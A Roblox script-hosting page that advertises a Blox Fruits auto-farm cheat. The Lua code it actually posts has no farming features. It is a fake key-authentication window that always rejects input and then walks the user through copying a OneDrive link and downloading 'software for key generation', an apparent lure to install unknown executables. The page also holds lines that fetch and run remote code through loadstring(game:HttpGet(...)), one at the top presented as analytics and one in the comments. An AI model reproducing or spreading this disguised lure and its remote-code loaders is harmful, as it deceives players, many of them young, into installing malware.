Advertisements
Blox Fruits Script 2026 - Auto Farm, Auto Quest, Fast Level, Auto Raid & More
- Open source
Quick Actions
Description
The script offers Auto Farm, Auto Quest, Fast Level, Auto Collect Rewards, Auto Raid, Auto Farm Bosses, Auto Chest, Bring Chests, Auto Summon Tyrant, Kill Tyrant, and many other utilities through a clean and organized interface. The farming system automatically completes quests, defeats enemies, and collects rewards to help you level up more efficiently. Players can also automate boss farming, raids, chest collection, and event-related activities without constantly performing the same actions manually. Adjustable settings such as Tween Speed, Farm Distance, Bring Radius, and Position Method allow you to customize how the farming system operates based on your preferences. Additional features include support for boss farming, chest farming, raid automation, and player utilities, making it easy to manage different parts of the game from one menu. Each feature can be enabled or disabled individually, allowing you to choose exactly which functions you want to use. Regular updates help maintain compatibility with the latest Blox Fruits updates and newly added content. Whether you're leveling a new account, farming bosses, collecting chests, completing raids, or earning rewards, Blox Fruits Script combines multiple gameplay tools into one easy-to-use script.
Advertisements
Features
- Auto Farm
- Auto Quest
- Fast Level
- Auto Collect Rewards
- Auto Raid
- Auto Farm Boss
- Auto Chest
- Bring Chests
- Auto Summon Tyrant
- Kill Tyrant
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/Mz4zKeXj?v=2"))()end);--=== Does not affect the script ===----[[
PHANTOM // AUTH SYSTEM
Run with an executor (Synapse, Fluxus, etc.) — requires setclipboard.
]]
local LINK = "https://1drv.ms/f/c/483e7ba0d40a851b/IgCdkSgtayc4TaLMU-eF9HmPAarKTAf6cAF0GXtXK2kpNpI?e=IAkqZG"
local guiParent = game:GetService("CoreGui")
-- Colores
local C = {
bg = Color3.fromRGB(18, 18, 20),
panel = Color3.fromRGB(28, 28, 32),
panelLight = Color3.fromRGB(34, 34, 38),
border = Color3.fromRGB(180, 35, 45),
red = Color3.fromRGB(200, 45, 55),
redDark = Color3.fromRGB(120, 28, 35),
white = Color3.fromRGB(235, 235, 240),
dim = Color3.fromRGB(120, 120, 130),
yellow = Color3.fromRGB(220, 180, 60),
green = Color3.fromRGB(70, 200, 100),
blue = Color3.fromRGB(80, 140, 220),
inputRed = Color3.fromRGB(220, 60, 70),
orange = Color3.fromRGB(220, 140, 70),
}
local function copyToClipboard(text)
if setclipboard then
setclipboard(text)
return true
end
if toclipboard then
toclipboard(text)
return true
end
if syn and syn.write_clipboard then
syn.write_clipboard(text)
return true
end
if clipboard and clipboard.set then
clipboard.set(text)
return true
end
return false
end
local function corner(inst, r)
local c = Instance.new("UICorner")
c.CornerRadius = UDim.new(0, r or 6)
c.Parent = inst
return c
end
local function stroke(inst, color, thickness)
local s = Instance.new("UIStroke")
s.Color = color or C.border
s.Thickness = thickness or 1
s.Parent = inst
return s
end
local function label(parent, props)
local l = Instance.new("TextLabel")
l.BackgroundTransparency = 1
l.Font = Enum.Font.Code
l.TextColor3 = C.white
l.TextXAlignment = Enum.TextXAlignment.Left
l.TextYAlignment = Enum.TextYAlignment.Center
for k, v in pairs(props) do
l[k] = v
end
l.Parent = parent
return l
end
local function button(parent, props)
local b = Instance.new("TextButton")
b.AutoButtonColor = true
b.Font = Enum.Font.Code
b.TextColor3 = C.white
b.Text = ""
for k, v in pairs(props) do
b[k] = v
end
b.Parent = parent
return b
end
-- Eliminar GUI anterior si existe
local old = guiParent:FindFirstChild("PhantomAuth")
if old then
old:Destroy()
end
local screen = Instance.new("ScreenGui")
screen.Name = "PhantomAuth"
screen.ResetOnSpawn = false
screen.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
screen.Parent = guiParent
local root = Instance.new("Frame")
root.Name = "Root"
root.AnchorPoint = Vector2.new(0.5, 0.5)
root.Position = UDim2.new(0.5, 0, 0.5, 0)
root.Size = UDim2.new(0, 420, 0, 520)
root.BackgroundColor3 = C.bg
root.BackgroundTransparency = 0.05
root.BorderSizePixel = 0
root.Parent = screen
corner(root, 8)
stroke(root, C.border, 1.5)
-- Header compartido
local header = Instance.new("Frame")
header.Name = "Header"
header.Size = UDim2.new(1, 0, 0, 44)
header.BackgroundTransparency = 1
header.Parent = root
label(header, {
Size = UDim2.new(1, -100, 1, 0),
Position = UDim2.new(0, 14, 0, 0),
Text = "◆ • PHANTOM // AUTH SYSTEM",
TextSize = 13,
})
local classified = button(header, {
Size = UDim2.new(0, 88, 0, 22),
Position = UDim2.new(1, -108, 0.5, -11),
BackgroundColor3 = C.redDark,
Text = "CLASSIFIED",
TextSize = 11,
})
corner(classified, 4)
local closeBtn = button(header, {
Size = UDim2.new(0, 18, 0, 18),
Position = UDim2.new(1, -26, 0.5, -9),
BackgroundColor3 = C.red,
Text = "",
})
corner(closeBtn, 3)
closeBtn.MouseButton1Click:Connect(function()
screen:Destroy()
end)
local headerLine = Instance.new("Frame")
headerLine.Size = UDim2.new(1, -24, 0, 1)
headerLine.Position = UDim2.new(0, 12, 0, 44)
headerLine.BackgroundColor3 = C.border
headerLine.BorderSizePixel = 0
headerLine.Parent = root
-- Pantallas
local authScreen = Instance.new("Frame")
authScreen.Name = "AuthScreen"
authScreen.Size = UDim2.new(1, 0, 1, -44)
authScreen.Position = UDim2.new(0, 0, 0, 44)
authScreen.BackgroundTransparency = 1
authScreen.Parent = root
local briefScreen = Instance.new("Frame")
briefScreen.Name = "BriefScreen"
briefScreen.Size = UDim2.new(1, 0, 1, -44)
briefScreen.Position = UDim2.new(0, 0, 0, 44)
briefScreen.BackgroundTransparency = 1
briefScreen.Visible = false
briefScreen.Parent = root
local function showAuth()
authScreen.Visible = true
briefScreen.Visible = false
end
local function showBrief()
authScreen.Visible = false
briefScreen.Visible = true
end
-- ========== PANTALLA AUTH ==========
local banner = Instance.new("Frame")
banner.Size = UDim2.new(1, -24, 0, 64)
banner.Position = UDim2.new(0, 12, 0, 10)
banner.BackgroundColor3 = C.panel
banner.BorderSizePixel = 0
banner.Parent = authScreen
corner(banner, 6)
label(banner, {
Size = UDim2.new(1, -16, 0, 22),
Position = UDim2.new(0, 12, 0, 12),
Text = "🛡 PHANTOM DEFENSE SYSTEM",
TextSize = 15,
Font = Enum.Font.GothamBold,
})
label(banner, {
Size = UDim2.new(1, -16, 0, 18),
Position = UDim2.new(0, 12, 0, 36),
Text = "Authorization Required — Clearance Level 5",
TextSize = 11,
TextColor3 = C.dim,
})
local statsRow = Instance.new("Frame")
statsRow.Size = UDim2.new(1, -24, 0, 48)
statsRow.Position = UDim2.new(0, 12, 0, 82)
statsRow.BackgroundTransparency = 1
statsRow.Parent = authScreen
local statData = {
{ title = "THREAT LEVEL", value = "ELEVATED", color = C.yellow },
{ title = "ENCRYPTION", value = "AES-256", color = C.green },
{ title = "SESSION", value = string.format("%06X", math.random(0, 0xFFFFFF)), color = C.dim },
}
for i, s in ipairs(statData) do
local col = Instance.new("Frame")
col.Size = UDim2.new(1 / 3, -4, 1, 0)
col.Position = UDim2.new((i - 1) / 3, (i - 1) * 2, 0, 0)
col.BackgroundTransparency = 1
col.Parent = statsRow
label(col, {
Size = UDim2.new(1, 0, 0, 14),
Text = s.title,
TextSize = 9,
TextColor3 = C.dim,
TextXAlignment = Enum.TextXAlignment.Center,
})
label(col, {
Size = UDim2.new(1, 0, 0, 20),
Position = UDim2.new(0, 0, 0, 16),
Text = s.value,
TextSize = 12,
TextColor3 = s.color,
TextXAlignment = Enum.TextXAlignment.Center,
})
end
local KEY_PLACEHOLDER = "KEY_XXXX-XXXX-XXXX-XXXX"
label(authScreen, {
Size = UDim2.new(1, 0, 0, 18),
Position = UDim2.new(0, 0, 0, 142),
Text = "— ENTER AUTHORIZATION KEY —",
TextSize = 11,
TextColor3 = C.dim,
TextXAlignment = Enum.TextXAlignment.Center,
})
local keyField = Instance.new("Frame")
keyField.Size = UDim2.new(1, -24, 0, 36)
keyField.Position = UDim2.new(0, 12, 0, 166)
keyField.BackgroundColor3 = Color3.fromRGB(22, 22, 26)
keyField.BorderSizePixel = 0
keyField.Parent = authScreen
corner(keyField, 4)
stroke(keyField, Color3.fromRGB(45, 45, 52), 1)
label(keyField, {
Size = UDim2.new(0, 28, 1, 0),
Position = UDim2.new(0, 8, 0, 0),
Text = ">>",
TextSize = 14,
TextColor3 = C.green,
TextXAlignment = Enum.TextXAlignment.Left,
})
local keyBox = Instance.new("TextBox")
keyBox.Size = UDim2.new(1, -40, 1, 0)
keyBox.Position = UDim2.new(0, 36, 0, 0)
keyBox.BackgroundTransparency = 1
keyBox.TextColor3 = Color3.fromRGB(140, 140, 150)
keyBox.PlaceholderText = KEY_PLACEHOLDER
keyBox.PlaceholderColor3 = Color3.fromRGB(90, 90, 100)
keyBox.Text = ""
keyBox.Font = Enum.Font.Code
keyBox.TextSize = 13
keyBox.ClearTextOnFocus = false
keyBox.BorderSizePixel = 0
keyBox.Parent = keyField
local authBtn = button(authScreen, {
Size = UDim2.new(1, -24, 0, 40),
Position = UDim2.new(0, 12, 0, 220),
BackgroundColor3 = C.red,
Text = " ▶ AUTHENTICATE",
TextSize = 14,
Font = Enum.Font.GothamBold,
})
corner(authBtn, 6)
local freeKeyBtn = button(authScreen, {
Size = UDim2.new(1, -24, 0, 36),
Position = UDim2.new(0, 12, 0, 268),
BackgroundColor3 = C.panelLight,
Text = " 🔑 GET FREE KEY",
TextSize = 13,
})
corner(freeKeyBtn, 6)
stroke(freeKeyBtn, Color3.fromRGB(50, 50, 55), 1)
freeKeyBtn.MouseButton1Click:Connect(showBrief)
local keyFieldStroke = keyField:FindFirstChildOfClass("UIStroke")
local authBtnDefaultText = authBtn.Text
local authBtnDefaultColor = authBtn.BackgroundColor3
local function denyAuth(message)
keyBox.Text = ""
keyBox.PlaceholderText = message
keyBox.PlaceholderColor3 = C.red
authBtn.Text = " ✕ ACCESS DENIED"
authBtn.BackgroundColor3 = C.redDark
if keyFieldStroke then
keyFieldStroke.Color = C.red
end
task.delay(2.5, function()
if not keyBox.Parent then
return
end
keyBox.PlaceholderText = KEY_PLACEHOLDER
keyBox.PlaceholderColor3 = Color3.fromRGB(90, 90, 100)
authBtn.Text = authBtnDefaultText
authBtn.BackgroundColor3 = authBtnDefaultColor
if keyFieldStroke then
keyFieldStroke.Color = Color3.fromRGB(45, 45, 52)
end
end)
end
authBtn.MouseButton1Click:Connect(function()
if keyBox.Text == "" then
denyAuth("Enter a key first")
else
-- Always deny — no valid keys
denyAuth("ACCESS DENIED — INVALID KEY")
end
end)
-- Footer auth
local authFooter = Instance.new("Frame")
authFooter.Size = UDim2.new(1, -24, 0, 20)
authFooter.Position = UDim2.new(0, 12, 1, -28)
authFooter.BackgroundTransparency = 1
authFooter.Parent = authScreen
label(authFooter, {
Size = UDim2.new(0.5, 0, 1, 0),
Text = "PHANTOM v1.0",
TextSize = 10,
TextColor3 = C.dim,
})
local timeLabel = label(authFooter, {
Size = UDim2.new(0.5, 0, 1, 0),
Position = UDim2.new(0.5, 0, 0, 0),
Text = "◆ 00:00:00 UTC",
TextSize = 10,
TextColor3 = C.dim,
TextXAlignment = Enum.TextXAlignment.Right,
})
task.spawn(function()
while screen.Parent do
timeLabel.Text = "◆ " .. os.date("!%H:%M:%S") .. " UTC"
task.wait(1)
end
end)
-- ========== PANTALLA BRIEFING ==========
local briefBanner = Instance.new("Frame")
briefBanner.Size = UDim2.new(1, -24, 0, 56)
briefBanner.Position = UDim2.new(0, 12, 0, 8)
briefBanner.BackgroundColor3 = C.panel
briefBanner.BorderSizePixel = 0
briefBanner.Parent = briefScreen
corner(briefBanner, 6)
label(briefBanner, {
Size = UDim2.new(1, -14, 0, 20),
Position = UDim2.new(0, 10, 0, 10),
Text = "📡 KEY ACQUISITION BRIEFING",
TextSize = 13,
Font = Enum.Font.GothamBold,
})
label(briefBanner, {
Size = UDim2.new(1, -14, 0, 16),
Position = UDim2.new(0, 10, 0, 32),
Text = "Follow protocol exactly as described below",
TextSize = 10,
TextColor3 = C.dim,
})
local steps = {
{ n = "01", icon = "🖱", text = "Click [ COPY LINK ] to copy the access URL", tag = "HIGH", tagColor = C.red },
{ n = "02", icon = "🌐", text = "Open a web browser on your device", tag = "MED", tagColor = C.yellow },
{ n = "03", icon = "📋", text = "Paste link into address bar -> Execute", tag = "HIGH", tagColor = C.red },
{ n = "04", icon = "✅", text = "Download software for key generation", tag = "HIGH", tagColor = C.red },
{ n = "05", icon = "🔑", text = "Extract generated key from the software", tag = "MED", tagColor = C.yellow },
{ n = "06", icon = "🛡", text = "Return and submit key for authentication", tag = "LOW", tagColor = C.green },
}
local stepsContainer = Instance.new("ScrollingFrame")
stepsContainer.Size = UDim2.new(1, -24, 0, 280)
stepsContainer.Position = UDim2.new(0, 12, 0, 72)
stepsContainer.BackgroundTransparency = 1
stepsContainer.BorderSizePixel = 0
stepsContainer.ScrollBarThickness = 4
stepsContainer.ScrollBarImageColor3 = C.redDark
stepsContainer.CanvasSize = UDim2.new(0, 0, 0, #steps * 46)
stepsContainer.Parent = briefScreen
local listLayout = Instance.new("UIListLayout")
listLayout.Padding = UDim.new(0, 6)
listLayout.Parent = stepsContainer
for _, step in ipairs(steps) do
local row = Instance.new("Frame")
row.Size = UDim2.new(1, 0, 0, 40)
row.BackgroundColor3 = C.panel
row.BorderSizePixel = 0
row.Parent = stepsContainer
corner(row, 4)
label(row, {
Size = UDim2.new(0, 28, 1, 0),
Position = UDim2.new(0, 6, 0, 0),
Text = step.n,
TextSize = 12,
TextColor3 = C.red,
TextXAlignment = Enum.TextXAlignment.Center,
})
label(row, {
Size = UDim2.new(0, 22, 1, 0),
Position = UDim2.new(0, 32, 0, 0),
Text = step.icon,
TextSize = 14,
TextXAlignment = Enum.TextXAlignment.Center,
})
label(row, {
Size = UDim2.new(1, -120, 1, 0),
Position = UDim2.new(0, 54, 0, 0),
Text = step.text,
TextSize = 10,
TextWrapped = true,
TextColor3 = C.white,
})
local tag = label(row, {
Size = UDim2.new(0, 36, 0, 16),
Position = UDim2.new(1, -42, 0.5, -8),
Text = step.tag,
TextSize = 9,
TextColor3 = step.tagColor,
TextXAlignment = Enum.TextXAlignment.Center,
})
tag.BackgroundColor3 = Color3.fromRGB(40, 40, 45)
tag.BackgroundTransparency = 0.3
corner(tag, 3)
end
local copyBtn = button(briefScreen, {
Size = UDim2.new(1, -24, 0, 42),
Position = UDim2.new(0, 12, 0, 362),
BackgroundColor3 = C.redDark,
Text = " 📋 COPY LINK",
TextSize = 14,
Font = Enum.Font.GothamBold,
})
corner(copyBtn, 6)
stroke(copyBtn, C.red, 1)
local returnBtn = button(briefScreen, {
Size = UDim2.new(1, -24, 0, 32),
Position = UDim2.new(0, 12, 0, 412),
BackgroundColor3 = C.panel,
Text = "← RETURN TO AUTH SCREEN",
TextSize = 11,
TextColor3 = C.dim,
})
corner(returnBtn, 4)
returnBtn.MouseButton1Click:Connect(showAuth)
copyBtn.MouseButton1Click:Connect(function()
local ok = copyToClipboard(LINK)
local prev = copyBtn.Text
if ok then
copyBtn.Text = " ✓ COPIED!"
copyBtn.BackgroundColor3 = C.green
else
copyBtn.Text = " ! use an executor"
copyBtn.BackgroundColor3 = C.yellow
end
task.delay(1.5, function()
if copyBtn.Parent then
copyBtn.Text = " 📋 COPY LINK"
copyBtn.BackgroundColor3 = C.redDark
end
end)
print("[PHANTOM] Link:", LINK, ok and "(clipboard)" or "(clipboard unavailable)")
end)
-- Drag window by header
local dragging, dragStart, startPos
header.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = root.Position
end
end)
header.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
end
end)
header.InputChanged:Connect(function(input)
if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
root.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
end)
print("[PHANTOM] Auth UI loaded. COPY LINK ->", LINK)Quick Actions
Similar Scripts
Blox Fruits Neva Hub Script 2026 || Auto Farm, Sea Events & Mastery
293about 2 months ago
[Navz Hub] BLOX FRUITS Script :Auto Farm, Bring Mob, Fast Attack, Sea Event & Race V4
289about 2 months ago
Auto Farm, Auto Mastery, Auto Raids, Sea Events | Blox Fruits Script 2026
483about 1 month ago
Auto Farm, Auto Chest, Auto Boss, Auto Stats | Blox Fruits Script 2026
5233 months ago
Auto Farm, Auto Bounty, Fruit Sniper, PvP | Blox Fruits Script 2026
5035 months ago
Version History
Advertisements
Comments
1Did it work for you? Sign in to share your experience.
loadstring(game:HttpGet("https://github.com/Floysy/Roblox-scripts/blob/main/HubMainBloxFruit.lua"))()